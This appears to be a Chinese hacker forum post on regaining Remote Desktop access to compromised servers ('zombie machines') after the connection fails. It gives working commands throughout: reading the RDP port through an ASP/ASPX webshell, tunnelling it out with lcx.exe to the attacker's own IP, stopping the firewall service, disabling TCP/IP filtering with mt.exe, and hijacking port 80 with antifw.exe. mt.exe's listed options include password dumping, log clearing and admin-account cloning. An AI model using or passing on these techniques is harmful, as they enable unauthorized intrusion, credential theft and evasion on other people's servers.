对于开了3389,连接不上,有几个方面的原因,我来总结下,哇咔咔,这几天提好几台服务器都TM这样,分析下,
原因1、远程桌面端口被更改。2、对方服务器处于内网。 3、防火墙拦截。4、TCP/IP安全限制。
好了,知道原因了,我们来一个一个思考解决方法(部分引用):
远程桌面端口被更改解决方法:
现在一般的asp大马都有探测服务器的功能,在权限还行的情况下都可以直接查看远程(Terminal Service)端口,或者可以查看注册表也可以得到远程桌面端口,asp权限不行,在支持aspx的时候就换aspx查看注册表。
对方服务器处于内网解决方法:
这种情况我们可以使用lcx做端口转发,不知道的或者没有的就百度“lcx.exe下载”,我就不提供下载了。
使用方法:
1.上传lcx.exe到目标服务器可执行目录
2.本地主机启动lcx.exe监听,命令:
lcx.exe -listen 1988 4567 // 监听1988端口并转发到4567端口在目标主机运行:
格式为:lcx.exe -slave 你的IP 你监听的端口 肉机IP 要转发的目标主机端口例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 33893.本地链接:127.0.0.1:4567
OK,有点小麻烦,不过还是很管用的,要是你也是内网,你就做下端口映射就好了,映射到转发回来的端口,哇咔咔。
4、防火墙拦截解决办法:
一般还是先试试端口转发,还是利用LCX,
使用方法:
lcx.exe -slave 你的IP 你监听的端口 肉机IP 要转发的目标主机端口
例子:lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389lcx.exe -listen 1988 4567
然后本地连接:127.0.0.1:4567 就搞定了。如果还不行。。要是web是SYSTEM权限,直接停掉防火墙服务就没问题了。
5、TCP/IP安全策略限制。
这个解决方法就有点多了,可以使用MT.EXE来关闭策略,
使用方法:
1.上传mt.exe到目标服务器可执行目录
2.执行命令:mt.exe -filter off
这样就关闭了TCP/IP限制了
选项 :
-filter —更改 TCP/IP 过滤器的开头状态-addport —添加端口到过滤器的允许列表-setport —设置端口作为过滤器的允许列表-nicinfo —列出 TCP/IP 界面信息-pslist —列出活动进程-pskill —杀毒指定进程-dlllist —列出指定进程的 DLL-sysinfo —列出系统信息-shutdown —关闭系统-reboot —重启系统-poweroff —关闭电源-logoff —注销当前用户会话-chkts —检查终端服务信息-setupts —安装终端服务-remts —卸载终端服务-chgtsp —重置终端服务端口-clog —清除系统日志-enumsrv —列出所有服务-querysrv —列出指定服务的详细信息-instsrv —安装一个服务-cfgsrv —更改服务配置-remsrv —卸载指定服务-startsrv —启动指定服务-stopsrv —停止指定服务-netget —从 http/ftp 下载-redirect —端口重定向-chkuser —列出所有账户、sid 和 anti 克隆-clone —克隆 admin 到目标-never —设置账户看上去从未登录-killuser —删除账户,甚至是 “guest” 也可删除-su —以 Local_System 权限运行进程-findpass —显示所有已登录用户的口令-netstat —列出 TCP 连接-killtcp —杀死 TCP 连接-psport —映射端口到进程-touch —设置文件日期和时间到指定值-secdel —安全擦除文件或目录占用的空间-regshell —进入一个控制台注册表编辑器-chkdll —检测 gina dll 后门上面只是一种方法,再说一种好用的方法吧,成功率灰常高,哇咔咔。
使用antifw.exe这个工具,
使用方法:
在cmd下输入
antifw -s 运行程序 停止iis将3389改为80
antifw -l 关闭程序。恢复iis连接的时候直接连接他的80端口就OK了,成功率比较高。但是这样他网站就访问不了。。。
没事,上去了我们赶紧分析原因,排除万难,把限制去掉,再给他还原80端口,哇咔咔。。。